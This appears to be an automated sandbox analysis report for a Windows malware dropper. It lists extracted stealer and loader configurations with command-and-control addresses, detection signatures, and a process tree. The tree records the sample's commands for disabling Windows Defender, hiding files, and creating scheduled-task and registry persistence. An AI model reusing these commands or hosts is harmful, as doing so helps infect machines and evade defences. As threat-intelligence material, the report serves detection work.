Analysis
-
max time kernel
161s -
max time network
1807s -
platform
windows7_x64 -
resource
win7-de-20210916 -
submitted
18-09-2021 19:15
General
-
Target
a4806a7fffe5d04d7ccd764890bd4ef3.exe
-
Size
6.7MB
-
MD5
a4806a7fffe5d04d7ccd764890bd4ef3
-
SHA1
5e16eaa0a86f73f0a389f570555dbd10bf48c135
-
SHA256
5248d778a816ffaed27e465deec140f4d79478a4aca7c5968d6eb926ac7c94f1
-
SHA512
5af0704f4f2396ad9cc1d82076eae14b7da8994bb538a85bcb0bd0de31ffb10a694d901c90a1b242732030129af3ef4feef7b79e1e72865cb5e634b371be9d71
Score
10/10
Malware Config
Extracted
Family
vidar
Version
40.6
Botnet
706
C2
https://dimonbk83.tumblr.com/
Attributes
-
profile_id
706
Extracted
Family
redline
Botnet
ANI
C2
45.142.215.47:27643
Extracted
Family
smokeloader
Version
2020
C2
http://varmisende.com/upload/
http://fernandomayol.com/upload/
http://nextlytm.com/upload/
http://people4jan.com/upload/
http://asfaltwerk.com/upload/
rc4.i32
rc4.i32
Extracted
Family
vidar
Version
40.7
Botnet
937
C2
https://petrenko96.tumblr.com/
Attributes
-
profile_id
937
Extracted
Family
metasploit
Version
windows/single_exec
Extracted
Family
icedid
Campaign
3162718704
Signatures
-
Djvu Ransomware
Ransomware which is a variant of the STOP family.
-
Glupteba
Glupteba is a modular loader written in Golang with various components.
-
Glupteba Payload 2 IoCs
-
IcedID, BokBot
IcedID is a banking trojan capable of stealing credentials.
-
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Modifies Windows Defender Real-time Protection settings 3 TTPs
-
Process spawned unexpected child process 14 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 4 IoCs
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
-
Socelars Payload 1 IoCs
-
Tofsee
Backdoor/botnet which carries out malicious activities based on commands from a C2 server.
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
suricata: ET MALWARE Amadey CnC Check-In
suricata: ET MALWARE Amadey CnC Check-In
-
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
-
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
-
suricata: ET MALWARE Observed Win32/Ymacco.AA36 User-Agent
suricata: ET MALWARE Observed Win32/Ymacco.AA36 User-Agent
-
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
-
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
-
suricata: ET MALWARE Win32/IcedID Request Cookie
suricata: ET MALWARE Win32/IcedID Request Cookie
-
suricata: ET MALWARE Win32/Tnega Activity (GET)
suricata: ET MALWARE Win32/Tnega Activity (GET)
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 3 IoCs
-
ASPack v2.12-2.42 6 IoCs
Detects executables packed with ASPack v2.12-2.42
-
Creates new service(s) 1 TTPs
-
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
-
Executes dropped EXE 64 IoCs
-
Modifies Windows Firewall 1 TTPs
-
Sets file to hidden 1 TTPs
Modifies file attributes to stop it showing in Explorer etc.
-
VMProtect packed file 4 IoCs
Detects executables packed with VMProtect commercial packer.
-
Checks BIOS information in registry 2 TTPs 19 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
-
Loads dropped DLL 64 IoCs
-
Modifies file permissions 1 TTPs 1 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 2 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 9 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 11 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
-
Drops file in System32 directory 2 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs
-
Suspicious use of SetThreadContext 8 IoCs
-
Drops file in Program Files directory 21 IoCs
-
Drops file in Windows directory 1 IoCs
-
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 8 IoCs
-
Checks SCSI registry key(s) 3 TTPs 9 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 28 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 7 IoCs
-
Enumerates system info in registry 2 TTPs 4 IoCs
-
Kills process with taskkill 10 IoCs
-
Modifies system certificate store 2 TTPs 15 IoCs
-
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 3 IoCs
-
Suspicious behavior: MapViewOfSection 3 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 10 IoCs
-
Suspicious use of SendNotifyMessage 4 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Views/modifies file attributes 1 TTPs 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\a4806a7fffe5d04d7ccd764890bd4ef3.exe"C:\Users\Admin\AppData\Local\Temp\a4806a7fffe5d04d7ccd764890bd4ef3.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS40310AE2\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS40310AE2\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed22398ca1246818a50.exe4⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zS40310AE2\Wed22398ca1246818a50.exeWed22398ca1246818a50.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\tmp6B5F_tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmp6B5F_tmp.exe"6⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\tmp6B5F_tmp.exeC:\Users\Admin\AppData\Local\Temp\tmp6B5F_tmp.exe7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed22214190470.exe4⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zS40310AE2\Wed22214190470.exeWed22214190470.exe5⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed226b251ef55.exe4⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zS40310AE2\Wed226b251ef55.exeWed226b251ef55.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed2236d9fce9bd29d13.exe4⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zS40310AE2\Wed2236d9fce9bd29d13.exeWed2236d9fce9bd29d13.exe5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\5282267.exe"C:\ProgramData\5282267.exe"8⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\5391045.exe"C:\ProgramData\5391045.exe"8⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\ProgramData\221050.exe"C:\ProgramData\221050.exe"8⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\ProgramData\221050.exe"C:\ProgramData\221050.exe"9⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3100 -s 7649⤵
- Program crash
-
C:\ProgramData\2302073.exe"C:\ProgramData\2302073.exe"8⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\2.exe"C:\Users\Admin\AppData\Local\Temp\2.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2900 -s 14328⤵
- Program crash
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "setup.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\setup.exe" & exit8⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "setup.exe" /f9⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\ShadowVPNInstaller_v5.exe"C:\Users\Admin\AppData\Local\Temp\ShadowVPNInstaller_v5.exe"7⤵
- Executes dropped EXE
- Maps connected drives based on registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\LivelyScreenRecMa14.exe"C:\Users\Admin\AppData\Local\Temp\LivelyScreenRecMa14.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\tmp67B7_tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmp67B7_tmp.exe"8⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\tmp67B7_tmp.exeC:\Users\Admin\AppData\Local\Temp\tmp67B7_tmp.exe9⤵
-
C:\Users\Admin\AppData\Local\Temp\6.exe"C:\Users\Admin\AppData\Local\Temp\6.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"8⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Roaming\23890147553\FoxyNew\jk847.bat" "9⤵
-
C:\Users\Admin\AppData\Roaming\23890147553\FoxyNew\Foxynew.exeFoxynew.exe10⤵
-
C:\Users\Admin\AppData\Roaming\23890147553\FoxyNew\Foxynew.exeFoxynew.exe11⤵
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe"C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe"12⤵
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe"C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe"13⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\e0171c4c73\14⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\e0171c4c73\15⤵
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN sqtvvs.exe /TR "C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe" /F14⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\tool\tool.exe"C:\Users\Admin\AppData\Local\Temp\tool.\tool.exe"14⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\dPack\tr\t.vbs" /f=CREATE_NO_WINDOW install.cmd15⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\dPack\tr\ots.bat" "16⤵
-
C:\Windows\SysWOW64\timeout.exetimeout 717⤵
- Delays execution with timeout.exe
-
C:\dPack\tr\1obe.com"1obe.com" e -p78acsddgdaskuUKJgdhxsh6 PD441.rar17⤵
-
C:\Windows\SysWOW64\timeout.exetimeout 617⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\timeout.exetimeout 817⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\dPack\tr\chs.vbs"17⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\dPack\tr\ro3.bat" "18⤵
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\dPack\tr"19⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\timeout.exetimeout 219⤵
- Delays execution with timeout.exe
-
C:\dPack\tr\vertoor.exevertoor.exe /start19⤵
-
C:\dPack\tr\vertoor.exevertoor.exe /start20⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im 1obe.com19⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im 1obe.com19⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\attrib.exeattrib -s -h "C:\dPack\tr"19⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\timeout.exetimeout 419⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2712 -s 90414⤵
- Program crash
-
C:\Users\Admin\AppData\Roaming\23890147553\FoxyNew\FoxyIDS2.exeFoxyIDS2.exe10⤵
-
C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp"C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp" -d "C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\"11⤵
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-BA81P.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-BA81P.tmp\setup_2.tmp" /SL5="$101AC,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT9⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-0E5N9.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-0E5N9.tmp\setup_2.tmp" /SL5="$201B8,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT10⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-PNM5M.tmp\postback.exe"C:\Users\Admin\AppData\Local\Temp\is-PNM5M.tmp\postback.exe" ss111⤵
-
C:\Windows\SysWOW64\explorer.exeexplorer.exe ss112⤵
-
C:\Windows\SysWOW64\cmd.execmd /C regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\BLfWtfejz.dll"13⤵
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "C:\Users\Admin\AppData\Local\Temp\BLfWtfejz.dll"14⤵
-
C:\Windows\system32\regsvr32.exe/s "C:\Users\Admin\AppData\Local\Temp\BLfWtfejz.dll"15⤵
-
C:\Windows\SysWOW64\cmd.execmd /C regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\BLfWtfejz.dllEaW2qJtm8.dll"13⤵
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "C:\Users\Admin\AppData\Local\Temp\BLfWtfejz.dllEaW2qJtm8.dll"14⤵
-
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe" -a8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed2246f9dc6f4f9.exe4⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zS40310AE2\Wed2246f9dc6f4f9.exeWed2246f9dc6f4f9.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed2260b25c317.exe4⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zS40310AE2\Wed2260b25c317.exeWed2260b25c317.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zS40310AE2\Wed2260b25c317.exeC:\Users\Admin\AppData\Local\Temp\7zS40310AE2\Wed2260b25c317.exe6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed229825989c.exe4⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zS40310AE2\Wed229825989c.exeWed229825989c.exe5⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
-
C:\Users\Admin\Documents\ULokaiATi0lr70q0ULhgoOHV.exe"C:\Users\Admin\Documents\ULokaiATi0lr70q0ULhgoOHV.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\X0QXn4NaMxIvH7ZMu968pNWO.exe"C:\Users\Admin\Documents\X0QXn4NaMxIvH7ZMu968pNWO.exe"6⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies system certificate store
-
C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"7⤵
- Checks computer location settings
-
C:\Users\Admin\Documents\XjtAyEn8Y1dOPy81bxnLjhc6.exe"C:\Users\Admin\Documents\XjtAyEn8Y1dOPy81bxnLjhc6.exe"8⤵
-
C:\Users\Admin\Documents\ML2cOdxa4cD4HXr239kqrEuR.exe"C:\Users\Admin\Documents\ML2cOdxa4cD4HXr239kqrEuR.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS9B83.tmp\Install.exe.\Install.exe9⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSBFC5.tmp\Install.exe.\Install.exe /S /site_id "668658"10⤵
- Checks BIOS information in registry
- Drops file in System32 directory
- Enumerates system info in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &11⤵
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"12⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True13⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True14⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True15⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"12⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True13⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True14⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True15⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"12⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True13⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True14⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True15⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True"12⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True13⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True14⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True15⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"11⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&12⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:3213⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:6413⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"11⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&12⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:3213⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:6413⤵
-
